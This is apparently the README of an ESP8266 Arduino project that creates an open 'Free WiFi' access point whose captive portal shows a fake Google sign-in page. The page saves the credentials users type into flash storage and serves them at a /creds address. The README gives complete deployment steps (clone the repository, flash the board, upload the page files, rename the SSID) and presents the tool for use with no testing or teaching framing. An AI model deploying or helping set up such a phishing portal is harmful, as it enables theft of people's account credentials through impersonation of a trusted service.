This project creates a WiFi captive portal with a Google-style fake sign-in page. It captures user credentials and stores them in SPIFFS.
To get a local copy up and running, follow these simple steps.
- Arduino IDE
- ESP8266 board package installed in Arduino IDE
-
Clone the repo
git clone https://github.com/disalad/ESP8266-Captive-Portal.git
-
Open the project in Arduino IDE
-
Select the correct board and port for your ESP8266 device
-
Upload the code to your ESP8266
-
Install the ESP8266 Sketch Data Upload tool
-
Upload the
data
folder contents to SPIFFSTools > ESP8266 Sketch Data Upload
-
Once deployed, connect to the WiFi network created by the ESP8266.
-
A fake Google sign-in page will be displayed upon opening any webpage.
-
Entered credentials will be saved in SPIFFS.
-
To view saved credentials, navigate to:
http://172.0.0.1/creds
-
The WiFi network SSID (name) can be modified by changing the following line in
captive_portal.ino
:#define SSID_NAME "Free WiFi"
Project Link: https://github.com/disalad/ESP8266-Captive-Portal